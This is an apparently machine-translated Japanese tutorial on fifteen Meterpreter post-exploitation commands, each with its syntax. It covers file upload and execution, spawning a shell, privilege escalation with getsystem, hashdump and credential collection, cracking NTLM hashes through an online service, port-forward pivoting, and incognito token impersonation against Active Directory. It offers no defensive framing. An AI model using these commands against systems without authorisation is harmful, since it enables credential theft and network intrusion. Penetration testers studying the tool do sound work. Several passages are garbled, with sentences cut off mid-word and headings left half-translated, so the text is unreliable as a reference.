meterpreterは、ターゲットメモリに反射DLLを注入することによって動作する、高度でステルス性があり、多面的で動的に拡張可能なペイロードです。 スクリプトとプラグインは、搾取後の活動を拡張する目的で、実行時に動的にロードすることができます。
これには、特権の昇格、システムアカウントのダンプ、キーロギング、永続的なバックドアサービス、リモートデスクトップの有効化、および他の多くの拡張 さらに、meterpreterシェルの通信全体がデフォルトで暗号化されています。
Meterpreterはまったく新しい環境を提供しているため、この最も強力なツールを使い始めるために不可欠なMeterpreterコマンドのいくつかを説明します。
- コマンド1–Windowsターゲットにファイルをアップロード
- コマンド2-Windowsからファイルをダウンロードターゲット
- コマンド3-実行。ターゲット上のexeファイル
- コマンド4-CMD
- コマンド5-Show Processes
- コマンド6-Get CMD shell on target
- コマンド7-Get Admin Privilege
- コマンド8-Hashdump
- コマンド9-Credcollect
- コマンド10-Create Port Forward
- コマンド11-Delete Port Forward
- コマンド12-ターゲット上のファイルを検索
- コマンド13-get User ID
- コマンド14-システム情報の取得
- コマンド15-任意のユーザーを偽装(トークン操作)
コマンド1–Windowsターゲットにファイルをアップロード
簡単に、ローカルマシンからリモートターゲットマシンに任意のファイルをアップロードできます。
構文:アップロード<ファイル><宛先>
メモ: -Rスイッチを使用して、ディレクトリとその内容を再帰的にアップロードします。
コマンド2-Windowsからファイルをダウンロードターゲット
downloadコマンドは、リモートマシンからファイルをダウンロードします。
構文:ダウンロード<ファイル><保存するパス>
Windowsパスを指定するときは、ダブルスラッシュを使用することに注意してください。
ディレクトリ全体を再帰的にダウンロードする必要がある場合は、download-rコマンドを使用します。
コマンド3-実行。ターゲット上のexeファイル
executeコマンドを実行することで、ターゲットマシン上でアプリケーションを実行することもできます。
このコマンドの構文はexecute-f<file>で、ターゲットマシン上で指定されたファイルを実行します。 オプション:
構文:execute-f<パス>
コマンド4-CMD
で新しいチャネルを作成しますたとえば、ターゲットマシンでコマンドプロンプトを実行する場合、コマンドは次のようになります:
構文: 実行-f cmd-c
コマンド5-Show Processes
psコマンドは、ターゲット上で実行中のプロセスのリストを表示します。
コマンド6-Get CMD shell on target
shellコマンドは、ターゲットシステム上の標準シェルを提示します。
構文:シェル
コマンド7-Get Admin Privilege
getsystemコマンドはローカルシステム権限を与えます。
: getsystem
コマンド8-Hashdump
を使用してすべてのハッシュをダンプするmeterpreterシェルのパワーを使用して、ターゲットが保持している現在のシステムアカウントとパスワードをダンプしましょう。 これらはNTLMハッシュ形式で表示され、いくつかのオンラインツールや技術をクラッキングすることで元に戻すことができます。
ご参考とご理解のために、https://hashkiller.co.uk/ntlm-decrypter.aspxをご覧ください。
構文:hashdump
各行の出力は次の形式です。Username:SID:LM hash:NTLM hash:::、この実行により5つのユーザーアカウントが生成されました: 管理者、ゲスト、HelpAssistant、所有者とサポート_388945A0。
コマンド9-Credcollect
を使用したハッシュのダンプ同様のスクリプトcredential_collectorもターゲットマシンのトークンを収集します。
構文:credcollectを実行します
コマンド10-Create Port Forward
Meterpreterシェル内からのportfwdコマンドは、ピボット技術として最も一般的に使用され、攻撃システムからアクセスできないマシンに直接アクセ
addオプションを指定すると、ポート転送がリストに追加され、基本的にトンネルが作成されます。
このトンネルはMetasploitコンソールの外部にも存在し、どの端末セッションでも使用できるようになりますのでご注意ください。
構文:portfwd add-l<portnumber>-p<portnumber>-r<ターゲットIP>
コマンド11-Delete Port Forward
エントリは、前のコマンドと非常によく似て削除されます。
: portfwd delete-l<portnumber>-p<portnumber>-r<ターゲットIP>
すべてのエントリをリストしたい場合は、コマンドは”portfwd list”であり、すべてのエントリを削除するには、”portfwd flush”コマンドを使用することもできます。
コマンド12-ターゲット上のファイルを検索
検索コマンドは、ターゲットホスト上の特定のファイルを検索する方法を提供します。 このコマンドは、システム全体または特定のフォルダを検索することができます。
たとえば、すべてを検索したい場合。ターゲットマシン上のtxtファイル、その後meterpreterコマンドは次のとおりです:
構文:search-f*。txt
コマンド13-get User ID
getuidを実行すると、Meterpreterサーバーがホスト上で実行されているユーザーが表示されます。
構文:getuid
コマンド14-システム情報の取得
sysinfoコマンドは、名前、OSタイプ、アーキテクチャ、言語などの悪用システムに関する情報を提供します。
: sysinfo
コマンド15-任意のユーザーを偽装(トークン操作)
このプロセスは、ローカルアクセスのみを持つことは大きな利点ではありませんが、そのシステムの資格情報に移動することができるMicrosoft Active Directoryのような分散システムを攻撃する場合に非常に便利です特別に管理者資格情報は大きな価値があります。
Incognitoはもともと、システムを正常に侵害するときにユーザートークンを偽装することを可能にするスタンドアロンアプリケーションでした。 これはMetasploitに統合され、最終的にMeterpreterに統合されました。
- use incognitoコマンドを実行して、モジュールをMeterpreterセッションにロードするだけです。
- すべての有効なトークンを一覧表示するには、list_tokens-uコマンドを入力します。
- ここで、このトークンを偽装して、その特権を引き受ける必要があります。 また、トークンの偽装に成功した後、getuidコマンドを実行して現在のuserIDをチェックすることにも注意してください。
構文:use incognito
構文:list_tokens-u
構文:impersonate_token”Machine\\user””